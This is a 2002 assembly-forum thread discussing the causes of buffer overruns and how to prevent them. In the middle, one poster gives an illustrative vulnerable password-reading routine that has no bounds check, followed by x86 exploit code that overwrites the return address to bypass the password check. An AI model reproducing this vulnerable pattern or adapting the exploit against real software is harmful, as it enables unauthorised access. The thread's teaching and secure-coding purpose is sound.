I will post this here, maybe it will get moved, maybe it won't :) This question is more about coding practices and standards, it is not about 'how do we go out and create these situations?'.

It is nearly 2am, and i was thinking: what is the cause of most buffer over-runs? Most of us know what a buffer overrun is (for those who don't, see the explanation below), and most professional programmers should know what they are (except for those who only program in quiche-eating languages like VB and Java), so why do they happen so often?

Is it simply that the programmer does not allocate a big enough buffer for the expected info? Is it a typo and they pass the wrong buffer size to a function? Is it caused by the programmer allocating the wrong size buffer, so the API function will fail (as expected), then the programmer fails to resize the buffer correctly?

The danger from an overrun is that the excess 'data' will write into the code space and/or stack space. I thought code space was read-only unless the programmer specifically unprotected it? And the chances of overwriting the code space would rely on the allocated buffer always being created at the same memory address, thus overwriting the same code every time. This would also rely on the executing code not being relocated because of base address clashes. And i thought that memory was allocated at a higher address than what the code resided at? Or do overruns primarily affect buffers that are statically allocated in the .code section?

And how could a malicious person reliably overwrite the stack? The stack is a predictable size, and should start at a predictable spot, but it seems rather unlikely to me that they could successfully put a valid (and harmful) return address in the right place for it to be popped and used by eip, or that they could insert a parameter in the right place that it could be popped and used in a function?

Isn't it funny what one thinks of in the early hours of the morning? :grin: Of course, the big question is: what are the chances that a buffer overrun could be successfully used in a malicious way, as opposed to just causing the app to crash, GPF or behave like crap?


Posted on 2002-05-10 09:02:25 by sluggy
sluggy,

imagine a variable in a stack frame... lets say size 100

you left user input data... e enter 108 bytes, and you dont checked the boundaries

so, he will have filled the buffer, the value at 104 the PUSH EBP from the stack frame contruction, and the value at 108 the return EIP!!!

when the stack frame is released, and the function return, it will jump to the address that was in 108 in buffer...

at that address can be something like CALL ESI, JMP EBX or like... and if in this reg point to the start of the buffer(much times is), malicious code can be executed

imagine the user filling the buffer with:

nop/nop/nop/nop/nop/nop/nop/dd 0x12345678

if in 0x12345678 there's a CALL EDI, and EDI still is the start of the buffer, these NOPs will get executed.

ancev

ps: i cant get more explicit than this without breaking board rules, i guess... but if you need samples or have any question, send a pm
Posted on 2002-05-10 10:06:24 by ancev
ancev or anyone else who's know's,
Do you think you could post an example of bad code which would allow an overflow? I would like to know what to avoid in my applications. The code doesn't need to be from anything real or usefull. I would just like to see an example of what I've heard so much about.
Posted on 2002-05-10 10:20:30 by emonk
main thing to remember is checking buffer indices... ie, don't just
blindly recv() to buffer and update index, remember to check for...
*drumroll* ... overflow :).
Posted on 2002-05-10 10:24:48 by f0dder
emonk,

there's a sample. using f0dder's recv() idea...




;this routine query the user, connected via inet,
;about his password
get_user_name proc
push ebp
mov ebp,esp
sub esp, 32

push 0
push size_askpsw
push ofs askpsw ;"enter your password"
push dwo [socket]
callW send

lea ebx,[ebp-32]

@@read_input:
push 0
push 32 ;size of our buffer
push ebx
push dwo [socket]
callW recv

cmp eax,-1
je ERROR

test eax,eax
jz @@done_read ;nothing more to read...

add ebx,eax ;adjust buffer and
jmp @@read_input ;keep reading

@@done_read:
lea ebx,[ebp-32]
push ebx
call CHECK_PASSWORD

leave
ret
get_user_name endp



that code prompt for a password, and read from the socket till there's no more input. then it call some password checking routine... ;)

ancev

ps: the code probably dont work as is, as i coded it right now, from my head
Posted on 2002-05-10 12:03:45 by ancev
re,

now, a malicious hacker (lets call him V :tongue: ) want have access to the password-protected thingies, but he dont have a valid password...

first, with some research, he discover that the program he want attack know if the user entered the right password by a variable in 0x401234. if its 1, the password entered was the correct.

it also discover that the routine that have the exploit(get_user_name), is called in the program from the address 0x404321 (there's a call get_user_name there)

so, it code this snippet...




exploit_code:

db 32-(ofs @@end-ofs @@start) dup (90h) ;NOPs

@@start:
push 1
pop dwo [401234h] ;set password-ok variable
push 404321h+5
ret ;return to after the call
@@end:

dd ?

dd 0bff71234h

exploit_code_size equ $-ofs exploit_code



in the 0xbff71234, that is inside a system dll(in preference one that exists in all w32 plataforms at same address), the hacker knows that there's a CALL EBX instruction.

now, the hacker, when is prompted by the password, he send that code...




push 0
push 32
push ofs buffer
push dwo [socket]
callW recv ;get the password prompt

push 0
push exploit_code_size ;32+8
push ofs exploit_code
push dwo [socket]
callW send ;SEND EXPLOIT!!!



when the program receive this 'password string', it will read the first 32 bytes in its stack buffer, then, as still there's more input, adjust the buffer pointer, and read again. these new bytes will overwrite the EBP and the RET_ADDRESS values in the stack.

the program will call CHECK_PASSWORD, that will fail, coz we dont send a valid password, but then the LEAVE will remove the saved EBP copy in the stack, and the RET will jump to our address, 0xbff71234h!!!

the code there will CALL EBX, that is our exploit code.

it set the password-ok variable, and return to the address after the call get_user_name. the program now will work as if the hacker had entered a valid password.

sorry if i wasnt clear. i hope it help.

ancev

ps: the code probably dont work as is, as i coded it right now, from my head

pps: in real live, things arent that easy, and there are several more that the hacker must check. and more ways to attack a program too :grin:
Posted on 2002-05-10 12:25:11 by ancev
Ahhh..... I think I see. Thank you for the example ancev.

-EDIT-never mind the question. I posted at the same time as you were :)
Posted on 2002-05-10 12:29:00 by emonk
ancev brings up a good point, one that i never thought of: strings being passed on the stack. This seems like weak coding to me, what benefit could it have, apart from speed?
Posted on 2002-05-10 17:33:03 by sluggy
good example ancev.

sluggy: um variables are addressed on the stack right? now, when you put a string on a variable, the string would be on the stack, nothing special really.

here's a good paper on win32 buffer overflows:
http://phrack.org/show.php?p=55&a=15

might find some tips on how to code apps safely.
Posted on 2002-05-10 20:11:55 by clip
clip,
thanks for the link, that is quite some reading. When i commented on passing strings on the stack, i was coming from the angle that i personally have never had to do this, i have always passed a pointer to the string. Maybe i have not coded enough, or maybe i have done things the right way :)

I know it is in the standard for some languages that values can be passed 'by value'. When a string needs to be passed by value, maybe a better approach than what is currently used would be to copy the string to a temporary area, then pass the pointer to the temporary string. Realistically, how much work would it take for this method to be coded into the compilers? I know that new code would not necessarily work well with old code when a standard like this is changed, but imagine the security improvement, and the money saved when companies don't have to re-engineer/bug fix products.
Posted on 2002-05-11 07:04:13 by sluggy
buffer struct
data db 1024 dup(?)
buffer ends

BadFunc proc hSocket:dword
local localBuffer:buffer

Load into buffer from socket
without checking for size.

Do something with the data.


BadFunc endp
Posted on 2002-05-11 07:23:04 by bdjames
sluggy,

the ideal, seens to me, is having the system patched to make data be no-exec

there are a patch(for linux, at least) that use a quirk to do this. if you try to exec code in data, you get a fault

ancev
Posted on 2002-05-11 09:01:49 by ancev
The patch (PAX) works by (ab)using some quirks of pentium (and
later) processors - the IA32 doesn't have a native per-page mechanism
for setting exec/non-exec. Unfortunately this method has some
speed impact. I'd prefer developers being more sensitive to proper
coding instead of hoping for some "magic wand" to make problems
go away...

Btw there's a NT version in beta, if you hang around enough in #win32asm
on efnet you'll see it being advertised :).
Posted on 2002-05-11 09:13:49 by f0dder
Talking about buffer overflows, MSN Messenger is in the news for an overflow problem...

Excite.com - MSN Messenger Vulnerable
Posted on 2002-05-11 15:15:52 by JamesE
I do not trust anything from microsoft
that connects to the web anymore.

MSN (virus) Messenger.

So f0dder you have a file server bot up?
Posted on 2002-05-11 20:42:03 by bdjames
"installed with the XP version of Windows"

They should have stuck with One Thing but Greed mess us all up...
Posted on 2002-05-12 00:10:07 by cmax
I'm not the one doing the windows-pax thing. Look for wkraker,
or variations of that nick.
Posted on 2002-05-12 02:37:33 by f0dder
sluggy:

First I would like to say, I'm sure you are a well experienced programmer and I apologize if my reply had insulted your intelligence in any way, for I did not get your question quite right. :)

as f0dder was saying, just be sensitive to proper coding :alright: In my opinion, just make the compiler aware of buffer-overflows :) Something like a smart compiler that checks the source code to see if it would produce bufferoverflow(s), alert the programmer and advice a solution (use strncpy instead of strcpy, etc). In some security-oriented modifications of gcc in linux, something like this is applied, very useful aid.

windows pax? cool, I just checked out the pax team page, and there is such an implementation of pax now. I hope to read more about it :)

pax team homepage for those interested:
http://pageexec.virtualave.net/
Posted on 2002-05-12 11:16:21 by clip
First I would like to say, I'm sure you are a well experienced programmer and I apologize if my reply had insulted your intelligence in any way
Not at all, no offence taken :)

In my asm programming, i always pass strings By Reference, thus avoiding the overrun possibility. However, i do a lot of programming in VB, and strings are passed ByRef by default, but i always override that and pass them ByVal. Which means that the strings are probably sitting on the stack :eek: Which also means that there is a HUGE amount of software out there that is vulnerable to buffer overruns. I know that this problem could be blamed on whoever invented the standard for string parameter passing, but i wonder if MS (for instance) could be liable for damages as a compiler maker, because while they didn't invent the standard, they certainly know of the inherent problems and have done nothing to change them. Mmmph, lets all sue MS in a class action for billions of dollars :grin:
Posted on 2002-05-12 19:27:10 by sluggy
The C and C++ languages give the programmer the responsibility of avoiding buffer overruns. The ability to remove checks by programmers allows them to fine tune an algorithm for speed. There is little that MS can do for other programmers except provide classes (like CString) that always does the overrun checking.

Passing only buffer pointers does not prevent buffer overruns. Leaving the buffer unmodified by the subroutine prevents overruns. Otherwise, you must provide bounds information (and use them), or impose strict limits (and possibly waste space doing it).
Posted on 2002-05-13 02:20:50 by tenkey